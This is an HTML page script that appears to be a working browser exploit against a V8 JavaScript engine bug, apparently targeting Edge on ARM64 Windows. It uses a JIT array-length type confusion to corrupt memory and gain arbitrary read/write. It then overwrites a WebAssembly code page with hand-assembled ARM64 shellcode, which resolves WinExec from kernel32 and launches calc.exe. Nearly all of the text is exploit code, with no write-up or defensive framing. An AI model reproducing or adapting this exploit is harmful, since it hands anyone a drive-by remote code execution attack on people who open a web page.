|
<script> |
|
function gc() { |
|
for (var i = 0; i < 0x80000; ++i) { |
|
var a = new ArrayBuffer(); |
|
} |
|
} |
|
|
|
let shellcode = [ |
|
|
|
// Move x18 to x28 (TEB) |
|
// mov x28, x18 |
|
0xfc, 0x03, 0x12, 0xaa, |
|
|
|
// add 0x60 to the TEB address to get PEB |
|
// add x28, x28, #0x60 |
|
0x9c, 0x83, 0x01, 0x91, |
|
|
|
// load PEB address into x27 |
|
// ldr x27, [x28] |
|
0x9b, 0x03, 0x40, 0xf9, |
|
|
|
// Add 0x18 to PEB address to get PEB_LDR_DATA |
|
// add, x27, x27, #0x18 |
|
0x7b, 0x63, 0x00, 0x91, |
|
|
|
// Load PEB_LDR_DATA into x27 |
|
// ldr x27, [x27] |
|
0x7b, 0x03, 0x40, 0xf9, |
|
|
|
|
|
// Add 0x10 to PEB address to get LDR_MODULE InLoadOrder[0] |
|
// add, x27, x27, #0x10 |
|
0x7b, 0x43, 0x00, 0x91, |
|
|
|
// Get to the first LDR_DATA_TABLE_ENTRY (msedge.exe itself) |
|
// ldr x27, [x27] |
|
0x7b, 0x03, 0x40, 0xf9, |
|
|
|
// Get to the second LDR_DATA_TABLE_ENTRY (ntdll.dll) |
|
// ldr x27, [x27] |
|
0x7b, 0x03, 0x40, 0xf9, |
|
|
|
// Get to the third LDR_DATA_TABLE_ENTRY (kernel32.dll) |
|
// ldr x27, [x27] |
|
0x7b, 0x03, 0x40, 0xf9, |
|
|
|
// Add 0x30 to the LDR_DATA_TABLE_ENTRY address to get pointer to kernel32.dll load address |
|
// add, x27, x27, #0x10 |
|
0x7b, 0xc3, 0x00, 0x91, |
|
|
|
// Dereference x27 into x28 |
|
// ldr x28, [x27] |
|
0x7c, 0x03, 0x40, 0xf9, |
|
|
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
|
|
// Load kernel32.dll + 0x3c into x27 (PE Offset) |
|
// ldrb w27, [x28, #0x3c] |
|
0x9b, 0xf3, 0x40, 0x39, |
|
|
|
// Add PE Offset to kernel32.dll base |
|
// add x27, x28, x27 |
|
0x9b, 0x03, 0x1b, 0x8b, |
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Address of PE header |
|
//////////////////////////////////////////////////////// |
|
|
|
// Add 0x88 to PE header to get to Export table, put in x27 |
|
// Many tutorials say 0x78, but that's only valid for 32-bit platforms |
|
// add x27, x27, #0x88 |
|
0x7b, 0x23, 0x02, 0x91, |
|
|
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Address of Data directory offset |
|
//////////////////////////////////////////////////////// |
|
|
|
|
|
// Virtual address of Exports table is first entry in Data directory |
|
// Get offset of Exports table, and put into x26 (0x124450) |
|
// ldr w26, [x27] |
|
0x7a, 0x03, 0x40, 0xb9, |
|
|
|
// Add offset of Exports table to base of kernel32.dll, put in x27 |
|
// add x27, x28, x26 |
|
0x9b, 0x03, 0x1a, 0x8b, |
|
|
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Export Table |
|
//////////////////////////////////////////////////////// |
|
|
|
|
|
// Go 0x1c past beginning of table to get address of function address table, put in x19 |
|
// add x19, x27, #0x1c |
|
0x73, 0x73, 0x00, 0x91, |
|
|
|
// Go 0x20 past beginning of table to get address of function name pointer table, put in x23 |
|
// add x23, x27, #0x20 |
|
0x77, 0x83, 0x00, 0x91, |
|
|
|
// Go 0x24 past beginning of table to get address of function name pointer table, put in x15 |
|
// add x15, x27, #0x24 |
|
0x6f, 0x93, 0x00, 0x91, |
|
|
|
|
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Export table (e.g. 00007ffb37ec4450) |
|
// x23: Pointer to RVA of Name pointer table (e.g. 0007ffb37ec4470) |
|
// x19: Pointer to RVA of Address pointer table (e.g. 00007ffb37ec446c) |
|
// x15: Pointer to RVA of Ordinal table (e.g. 00007ffb37ec4474) |
|
//////////////////////////////////////////////////////// |
|
|
|
|
|
// Convert RVAs of our 3 pointer tables to actual addresses |
|
// where kernel32.dll is loaded |
|
|
|
// Get RVA of Name Pointer Table, and put into x26 (0x124450) |
|
// ldr w26, [x23] |
|
0xfa, 0x02, 0x40, 0xb9, |
|
|
|
// Add RVA of Name Pointer table to base of kernel32.dll |
|
// add x23, x28, x26 |
|
0x97, 0x03, 0x1a, 0x8b, |
|
|
|
// Get RVA of Function Pointer Table, and put into x26 (0x124450) |
|
// ldr w26, [x19] |
|
0x7a, 0x02, 0x40, 0xb9, |
|
|
|
// Add RVA of Function Pointer table to base of kernel32.dll, put in x19 |
|
// add x19, x28, x26 |
|
0x93, 0x03, 0x1a, 0x8b, |
|
|
|
// Get RVA of Function Pointer Table, and put into x26 (0x124450) |
|
// ldr w26, [x15] |
|
0xfa, 0x01, 0x40, 0xb9, |
|
|
|
// Add RVA of Function Pointer table to base of kernel32.dll, put in x19 |
|
// add x15, x28, x26 |
|
0x8f, 0x03, 0x1a, 0x8b, |
|
|
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Export table (e.g. 00007ffb37ec4450) |
|
// x23: Name pointer table (e.g. 00007ffb37ec7814) |
|
// x19: Address pointer table (e.g. 00007ffc6fec4478) |
|
// x15: Ordinal table (e.g. 00007ffc6fec91c8) |
|
//////////////////////////////////////////////////////// |
|
|
|
|
|
// Load our string to look for "WinE" into x20 |
|
// movz x20, #0x6957 |
|
0xF4, 0x2a, 0x8d, 0xd2, |
|
// movk x20, #0x456e, lsl #16 |
|
0xd4, 0xad, 0xa8, 0xf2, |
|
|
|
// Subtract 4 from x27 to prepare for stupid loop structure |
|
// sub x23, x23, #4 |
|
0xf7, 0x12, 0x00, 0xd1, |
|
|
|
// subtract 1 from x0 to prepare for stupid loop structure |
|
// sub x0, x0, #1 |
|
0x00, 0x004, 0x00, 0xd1, |
|
|
|
// Loop: |
|
|
|
// Counter for exported functions |
|
// add x0, x0, 1 |
|
0x00, 0x04, 0x00, 0x91, |
|
|
|
// Increment to next name in the list |
|
// add x23, x23, 4 |
|
0xf7, 0x12, 0x00, 0x91, |
|
|
|
// Load first export name offset into x23 |
|
// x23 points to beginning of export name table |
|
// ldr w22, [x23] |
|
0xf6, 0x02, 0x40, 0xb9, |
|
|
|
// Apply offset to kernel32 base, put in x21 |
|
// add x21, x28, x22 |
|
0x95, 0x03, 0x16, 0x8b, |
|
|
|
// Load the first 4 bytes of the export name into x20 |
|
// ldr w16, [x21] |
|
0xb0, 0x02, 0x40, 0xb9, |
|
|
|
//cmp x16, x20 |
|
0x1f, 0x02, 0x14, 0xeb, |
|
|
|
// BNE loop |
|
0x41, 0xff, 0xff, 0x54, |
|
|
|
|
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Export table (e.g. 00007ffb37ec4450) |
|
// x23: Name pointer table (e.g. 00007ffb37ec7814) |
|
// x19: Address pointer table (e.g. 00007ffb37ec4478) |
|
// x15: Ordinal table (e.g. 00007ffc6fec91c8) |
|
// x0: Function number of WinExec() (0x622 / 1570) |
|
//////////////////////////////////////////////////////// |
|
|
|
// Convert function number to ordinal number. |
|
// Usually they're the same. |
|
// Move 2 into x3 |
|
// mov x3, #2 |
|
0x43, 0x00, 0x80, 0xd2, |
|
|
|
// Multiply function number (x0) by 2 |
|
// mul x0, x0, x3 |
|
0x00, 0x7c, 0x03, 0x9b, |
|
|
|
// Increment by offset (function number * 2) into Ordinal table |
|
// add x15, x15, x0 |
|
0xef, 0x01, 0x00, 0x8b, |
|
|
|
|
|
// Put actual ordinal number into x0 |
|
// ldrh w0, [x15] |
|
0xe0, 0x01, 0x40, 0x79, |
|
|
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Export table (e.g. 00007ffb37ec4450) |
|
// x23: Name pointer table (e.g. 00007ffb37ec7814) |
|
// x19: Address pointer table (e.g. 00007ffb37ec4478) |
|
// x15: Ordinal table (e.g. 00007ffc6fec91c8) |
|
// x0: Ordinal number of WinExec() (0x622 / 1570) |
|
//////////////////////////////////////////////////////// |
|
|
|
|
|
|
|
|
|
|
|
|
|
// To get the location of the address you want: |
|
// Multiply the Ordinal * 4, and use that as the offset into the address table |
|
|
|
// Move 4 into x2 |
|
// mov x2, #4 |
|
0x82, 0x00, 0x80, 0xd2, |
|
|
|
// Multiply x0 (Ordinal) by x2 (4) |
|
// mul x0, x0, x2 |
|
0x00, 0x7c, 0x02, 0x9b, |
|
|
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Export table (e.g. 00007ffb37ec4450) |
|
// x23: Name pointer table (e.g. 00007ffb37ec7814) |
|
// x19: Address pointer table (e.g. 00007ffb37ec4478) |
|
// x15: Ordinal pointer table (e.g. 00007ffc6fec91c8) |
|
// x0: RVA of WinExec (e.g. 0x1888) |
|
//////////////////////////////////////////////////////// |
|
|
|
|
|
// Increment Function address table by offest of WinExec() function |
|
// add x19, x19, x0 |
|
0x73, 0x02, 0x00, 0x8b, |
|
|
|
|
|
// Get RVA of WinExec(), and put into x26 (0x124450) |
|
// ldr w26, [x19] |
|
0x7a, 0x02, 0x40, 0xb9, |
|
|
|
|
|
// Add RVA of WinExec() to base of kernel32.dll, put in x8 |
|
// add x8, x28, x26 |
|
0x88, 0x03, 0x1a, 0x8b, |
|
|
|
//////////////////////////////////////////////////////// |
|
// Registers at this point: |
|
// x28: Load address of kernel32.dll |
|
// x27: Export table (e.g. 00007ffb37ec4450) |
|
// x23: Name pointer table (e.g. 00007ffb37ec7814) |
|
// x19: Address pointer table (e.g. 00007ffb37ec4478) |
|
// x15: Ordinal pointer table (e.g. 00007ffc6fec91c8) |
|
// x8: Address of WinExec() |
|
// x0: RVA of WinExec |
|
//////////////////////////////////////////////////////// |
|
|
|
|
|
// Now that we have WinExec() in x8, prepare the call to it. |
|
// We don't really care about existing registers other than x8 |
|
|
|
|
|
// move sp into x9 |
|
// Indexing into SP can be tricky due to alignment requirements |
|
// mov, x9, sp |
|
0xe9, 0x03, 0x00, 0x91, |
|
|
|
// Increment x9 by 8 |
|
// add, x9, x9, #8 |
|
0x29, 0x21, 0x00, 0x91, |
|
|
|
|
|
// Put CALC.EXE in x0 |
|
// AC |
|
// movz x0, #0x4143 |
|
0x60, 0x28, 0x88, 0xD2, |
|
// CL |
|
// movk x0, #0x434c, lsl #16 |
|
0x80, 0x69, 0xA8, 0xF2, |
|
// E. |
|
// movk x0, #0x452e, lsl #32 |
|
0xc0, 0xa5, 0xC8, 0xF2, |
|
// EX |
|
// movk x0, #0x4558, lsl #48 |
|
0x00, 0xab, 0xE8, 0xF2, |
|
|
|
// put x0 on x9-stack |
|
// str, x0, [x9], #8 |
|
0x20, 0x85, 0x00, 0xF8, |
|
|
|
// Terminate string with a null: |
|
// Put null into x0 |
|
// movz, x0, #0 |
|
0x00, 0x00, 0x80, 0xD2, |
|
|
|
// put x0 on x9-stack |
|
// str x0, [x9], #8 |
|
0x20, 0x85, 0x00, 0xF8, |
|
|
|
// Put the pointer to "CALC.EXE\0" into x0 |
|
// mov x0, x9 |
|
0xe0, 0x03, 0x09, 0xaa, |
|
|
|
// Ajust pointer to point to beginning of string |
|
// sub, x0, 0x, #0x10 |
|
0x00, 0x40, 0x00, 0xd1, |
|
|
|
// put 0x1 in x1 (second argument to WinExec) |
|
// movz x1, #0x01 |
|
0x21, 0x00, 0x80, 0xd2, |
|
|
|
// Call WinExec() |
|
// jalr x8 |
|
0x00, 0x01, 0x3F, 0xD6, |
|
|
|
// Trigger crash |
|
// ldr x11, [x10] |
|
//0x4b, 0x01, 0x40, 0xf9, |
|
|
|
// Infinite loop, because why not? |
|
// 0x00, 0x00, 0x00, 0x14, |
|
|
|
]; |
|
|
|
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); |
|
var wasmModule = new WebAssembly.Module(wasmCode); |
|
var wasmInstance = new WebAssembly.Instance(wasmModule); |
|
var main = wasmInstance.exports.main; |
|
var bf = new ArrayBuffer(8); |
|
var bfView = new DataView(bf); |
|
function fLow(f) { |
|
bfView.setFloat64(0, f, true); |
|
return (bfView.getUint32(0, true)); |
|
} |
|
function fHi(f) { |
|
bfView.setFloat64(0, f, true); |
|
return (bfView.getUint32(4, true)) |
|
} |
|
function i2f(low, hi) { |
|
bfView.setUint32(0, low, true); |
|
bfView.setUint32(4, hi, true); |
|
return bfView.getFloat64(0, true); |
|
} |
|
function f2big(f) { |
|
bfView.setFloat64(0, f, true); |
|
return bfView.getBigUint64(0, true); |
|
} |
|
function big2f(b) { |
|
bfView.setBigUint64(0, b, true); |
|
return bfView.getFloat64(0, true); |
|
} |
|
class LeakArrayBuffer extends ArrayBuffer { |
|
constructor(size) { |
|
super(size); |
|
this.slot = 0xb33f; |
|
} |
|
} |
|
function foo(a) { |
|
let x = -1; |
|
if (a) x = 0xFFFFFFFF; |
|
var arr = new Array(Math.sign(0 - Math.max(0, x, -1))); |
|
arr.shift(); |
|
let local_arr = Array(2); |
|
local_arr[0] = 5.1;//4014666666666666 |
|
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 |
|
arr[0] = 0x1122; |
|
return [arr, local_arr, buff]; |
|
} |
|
for (var i = 0; i < 0x10000; ++i) |
|
foo(false); |
|
gc(); gc(); |
|
[corrput_arr, rwarr, corrupt_buff] = foo(true); |
|
corrput_arr[12] = 0x22444; |
|
delete corrput_arr; |
|
function setbackingStore(hi, low) { |
|
rwarr[4] = i2f(fLow(rwarr[4]), hi); |
|
rwarr[5] = i2f(low, fHi(rwarr[5])); |
|
} |
|
function leakObjLow(o) { |
|
corrupt_buff.slot = o; |
|
return (fLow(rwarr[9]) - 1); |
|
} |
|
let corrupt_view = new DataView(corrupt_buff); |
|
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); |
|
let idx0Addr = corrupt_buffer_ptr_low - 0x10; |
|
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; |
|
let delta = baseAddr + 0x1c - idx0Addr; |
|
if ((delta % 8) == 0) { |
|
let baseIdx = delta / 8; |
|
this.base = fLow(rwarr[baseIdx]); |
|
} else { |
|
let baseIdx = ((delta - (delta % 8)) / 8); |
|
this.base = fHi(rwarr[baseIdx]); |
|
} |
|
let wasmInsAddr = leakObjLow(wasmInstance); |
|
setbackingStore(wasmInsAddr, this.base); |
|
let code_entry = corrupt_view.getFloat64(13 * 8, true); |
|
setbackingStore(fLow(code_entry), fHi(code_entry)); |
|
for (let i = 0; i < shellcode.length; i++) { |
|
corrupt_view.setUint8(i, shellcode[i]); |
|
} |
|
main(); |
|
</script> |